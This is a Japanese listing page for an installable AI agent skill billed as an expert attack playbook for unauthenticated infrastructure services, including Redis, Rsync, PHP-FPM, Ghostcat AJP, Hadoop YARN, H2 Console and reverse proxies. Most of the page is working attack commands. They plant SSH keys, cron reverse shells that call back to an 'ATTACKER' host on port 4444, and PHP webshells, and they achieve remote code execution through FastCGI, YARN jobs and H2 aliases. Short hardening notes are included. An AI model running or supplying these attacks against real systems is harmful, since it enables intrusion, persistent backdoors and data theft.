unauthorized-access-common-services について
未認証または認証が弱いインフラサービスの露出と攻撃経路を扱うセキュリティスキルです。Redis、Rsync、PHP-FPM、AJP、Hadoop YARN、H2、リバースプロキシの調査例と対策をまとめています。
主な機能
- 01サービスポートの調査ガイド
- 02RedisとRsyncの攻撃経路
- 03PHP-FPMとAJPの手法
- 04Hadoop YARNとH2の事例
- 05リバースプロキシ設定ミスの例
- 06サービスの強化策
活用シーン
- 01スキャン結果から管理サービスの露出を確認
- 02インフラサービスのリスク評価
- 03リバースプロキシ設定の点検
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ yaklang/ hack-skills --skill unauthorized-access-common-servicesインストール後、Claude Code で/unauthorized-access-common-servicesを入力して読み込まれたか確認します。
同梱ファイルPORT_SERVICE_MATRIX.md
詳細
SKILL:一般的なサービスへの不正アクセス — エキスパート向け攻撃プレイブック
AI LOAD INSTRUCTION:認証がない、または認証が弱い管理サービスを悪用するエキスパート向けの手法です。Redis への書き込みによる RCE、Rsync からのデータ窃取、PHP-FPM でのコード実行、Ghostcat AJP によるファイル読み取り、Hadoop YARN へのジョブ送信、H2 Console の JNDI を扱います。これらは、Web アプリケーションの脆弱性とは異なるインフラレベルの調査結果です。
0. 関連ルーティング
- これらのサービスに SSRF 経由で到達できる場合(例:SSRF → Redis)は、ssrf-server-side-request-forgery を参照してください
- H2 Console などが JNDI 接続文字列を受け付ける場合は、jndi-injection を参照してください
- RMI Registry または T3 プロトコルが公開されている場合は、deserialization-insecure を参照してください
- サービスの列挙中にレイヤー 2/3 の攻撃を行う場合は、network-protocol-attacks を参照してください
- コマンド実行の取得後に使用するシェルペイロードについては、reverse-shell-techniques を参照してください
包括的なポートリファレンス
以下が必要な場合は、PORT_SERVICE_MATRIX.md も読み込んでください。
- ポート番号別に整理された完全な悪用マトリクス(20 以上のサービス)
- サービスごとの列挙、ブルートフォース、ポストエクスプロイテーション
- nmap/masscan の出力分析中に行う迅速なトリアージ
1. 検出 — ポートスキャン
nmap -sV -p 6379,873,9000,8009,8088,8082,1099,9200,5984,2375,27017,11211 TARGET
# Key ports:
# 6379 — Redis
# 873 — Rsync
# 9000 — PHP-FPM (FastCGI)
# 8009 — AJP (Tomcat Ghostcat)
# 8088 — Hadoop YARN ResourceManager
# 8082 — H2 Console (or embedded in Spring Boot)
# 1099 — Java RMI Registry
# 9200 — Elasticsearch
# 5984 — CouchDB
# 2375 — Docker API
# 27017 — MongoDB
# 11211 — Memcached
2. REDIS(ポート 6379)
検出
redis-cli -h TARGET ping
# Response: PONG = unauthenticated access confirmed
redis-cli -h TARGET INFO server
# Returns Redis version, OS, config
SSH 認証済み鍵の書き込み
# Generate key pair:
ssh-keygen -t rsa -f redis_rsa
# Write public key to Redis, then dump to authorized_keys:
cat redis_rsa.pub | redis-cli -h TARGET -x set ssh_key
redis-cli -h TARGET config set dir /root/.ssh
redis-cli -h TARGET config set dbfilename authorized_keys
redis-cli -h TARGET save
# Connect:
ssh -i redis_rsa root@TARGET
Crontab の書き込み(リバースシェル)
redis-cli -h TARGET
> set x "\n\n*/1 * * * * bash -i >& /dev/tcp/ATTACKER/4444 0>&1\n\n"
> config set dir /var/spool/cron/
> config set dbfilename root
> save
Web シェルの書き込み
redis-cli -h TARGET
> set webshell "<?php system($_GET['cmd']); ?>"
> config set dir /var/www/html/
> config set dbfilename shell.php
> save
# Access: http://TARGET/shell.php?cmd=id
マスター/スレーブレプリケーションによる RCE
redis-rogue-server を使用してマスター/スレーブレプリケーションを悪用し、悪意のある .so モジュールを読み込ませます。
python3 redis-rogue-server.py --rhost TARGET --lhost ATTACKER
# Loads module via SLAVEOF → MODULE LOAD → system.exec
強化策
requirepass STRONG_PASSWORD
bind 127.0.0.1
protected-mode yes
rename-command CONFIG ""
rename-command FLUSHALL ""
3. RSYNC(ポート 873)
検出
rsync TARGET::
# Lists available modules (shares) if anonymous access allowed
rsync -av TARGET::MODULE_NAME /tmp/loot/
# Download entire module contents
悪用 — Crontab の書き込み
# Create reverse shell cron:
echo '*/1 * * * * bash -i >& /dev/tcp/ATTACKER/4444 0>&1' > /tmp/evil_cron
# Upload to target's crontab (if writable module maps to /etc/ or similar):
rsync -av /tmp/evil_cron TARGET::MODULE/cron.d/backdoor
強化策
# /etc/rsyncd.conf:
auth users = rsync_user
secrets file = /etc/rsyncd.secrets
list = no
hosts allow = 10.0.0.0/8
read only = yes
4. PHP-FPM/FASTCGI(ポート 9000)
仕組み
PHP-FPM は FastCGI リクエストを待ち受けます。ネットワークに公開されている場合(Unix ソケットではなく)、攻撃者は細工した FastCGI パケットを送信して任意の PHP コードを実行できます。
悪用
# Using fcgi_exp or similar tool:
python3 fpm.py TARGET 9000 /var/www/html/index.php -c "<?php system('id'); ?>"
# Key parameters in FastCGI request:
# SCRIPT_FILENAME = path to any existing .php file
# PHP_VALUE = "auto_prepend_file = php://input" (injects POST body as PHP code)
# PHP_ADMIN_VALUE = "allow_url_include = On"
悪用に使う FastCGI の主な環境変数
SCRIPT_FILENAME = /var/www/html/index.php # must point to an existing .php file
PHP_VALUE = auto_prepend_file = php://input # injects POST body as PHP code
PHP_ADMIN_VALUE = allow_url_include = On # enables remote inclusion
SSRF 経由(gopher)
gopher://TARGET:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00...
# Encoded FastCGI packet
# Tool: Gopherus generates the gopher:// URL
python3 gopherus.py --exploit fastcgi
強化策
; php-fpm.conf — bind to socket only:
listen = /var/run/php-fpm.sock
; If TCP required, restrict:
listen.allowed_clients = 127.0.0.1
5. GHOSTCAT — AJP(ポート 8009)— CVE-2020-1938
仕組み
Apache JServ Protocol(AJP)は、リバースプロキシと Tomcat 間で使用されます。AJP は受信データをすべて信頼するため、攻撃者が直接接続して javax.servlet.include.request_uri を設定すると、Web アプリケーションのディレクトリにある任意のファイルを読み取れます。
ファイル読み取り
# Using ajpShooter or similar:
python3 ajpShooter.py TARGET 8009 /WEB-INF/web.xml read
# Reads any file within the webapp root:
# /WEB-INF/web.xml — deployment descriptor
# /WEB-INF/classes/*.class — compiled Java classes
# /WEB-INF/lib/*.jar — library JARs
ファイルのインクルード → RCE
ファイルのアップロード機能が存在する場合(例:画像を装った JSP のアップロード)、AJP でそのファイルを JSP としてインクルードできます。
python3 ajpShooter.py TARGET 8009 /uploaded_avatar.txt eval
# If the file contains JSP code, it gets executed
強化策
<Connector port="8009" protocol="AJP/1.3" secretRequired="true" secret="STRONG_SECRET"/>
6. HADOOP YARN RESOURCEMANAGER(ポート 8088)
検出
curl http://TARGET:8088/cluster
# If accessible → unauthenticated YARN ResourceManager UI
アプリケーションの送信による RCE
# Submit a MapReduce application that executes a command:
curl -s -X POST http://TARGET:8088/ws/v1/cluster/apps/new-application
# Returns: {"application-id":"application_xxx_0001"}
curl -s -X POST http://TARGET:8088/ws/v1/cluster/apps \
-H "Content-Type: application/json" \
-d '{
"application-id": "application_xxx_0001",
"application-name": "test",
"am-container-spec": {
"commands": {"command": "/bin/bash -i >& /dev/tcp/ATTACKER/4444 0>&1"}
},
"application-type": "YARN"
}'
強化策
Kerberos 認証を有効にし、管理用ポートへのネットワークアクセスを制限してください。
7. H2 DATABASE CONSOLE
検出
H2 Console は、Spring Boot アプリで次のように有効化されていることがよくあります。
spring.h2.console.enabled=true
spring.h2.console.settings.web-allow-others=true
アクセス先:http://TARGET:PORT/h2-console
接続文字列を介した JNDI インジェクション
H2 Console のログインフォームでは、JDBC URL フィールドが JNDI を受け付けます。
BeanFactory + EL バイパス(Java 8u252 以降で動作):
# JDBC URL in login form:
javax.naming.InitialContext
# LDAP response attributes:
javaClassName: javax.el.ELProcessor
javaFactory: org.apache.naming.factory.BeanFactory
forceString: x=eval
x: Runtime.getRuntime().exec("id")
JNDI/BeanFactory を使った悪用の全手順については、jndi-injection も参照してください。
RUNSCRIPT による RCE
CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException { Runtime.getRuntime().exec(cmd); return "ok"; }';
CALL EXEC('id');
8. クイックリファレンス
# Redis — check auth:
redis-cli -h TARGET ping
# Redis — write webshell:
SET x "<?php system($_GET['c']);?>"
CONFIG SET dir /var/www/html/
CONFIG SET dbfilename shell.php
SAVE
# Rsync — list modules:
rsync TARGET::
# Ghostcat — read web.xml:
python3 ajpShooter.py TARGET 8009 /WEB-INF/web.xml read
# YARN — submit RCE job:
curl -X POST http://TARGET:8088/ws/v1/cluster/apps/new-application
# H2 — RCE via alias:
CREATE ALIAS EXEC AS '...Runtime.exec...'; CALL EXEC('id');
9. リバースプロキシの設定ミス
Nginx のスラッシュずれによるパストラバーサル
# Vulnerable configuration:
location /static {
alias /var/www/static/;
}
# Access: /static../etc/passwd → resolves to /var/www/etc/passwd
# The missing trailing slash on location causes path traversal
# Fix: location /static/ (with trailing slash matching alias)
Nginx の Root Location の欠落
# If no root location defined and alias is used:
# Attacker may access nginx.conf or other server files
GET /..%2f..%2fetc/nginx/nginx.conf HTTP/1.1
X-Forwarded-For/X-Real-IP の信頼
# If backend trusts these headers for IP-based auth:
GET /admin HTTP/1.1
X-Forwarded-For: 127.0.0.1
X-Real-IP: 127.0.0.1
True-Client-IP: 127.0.0.1
# May bypass IP whitelist for admin panels
Caddy のテンプレートインジェクション
# Caddy with templates enabled:
# If user input reaches Caddy template rendering:
{{.Req.Host}} → Information disclosure
{{readFile "/etc/passwd"}} → Local file read via Go template
# This is essentially a Go template injection through proxy config
便利なツール
yandex/gixy— Nginx 設定アナライザーRaelize/Kyubi— リバースプロキシ設定ミスのスキャナーGerbenJavado/bypass-url-parser— URL パーサーの解釈違いをテストするツール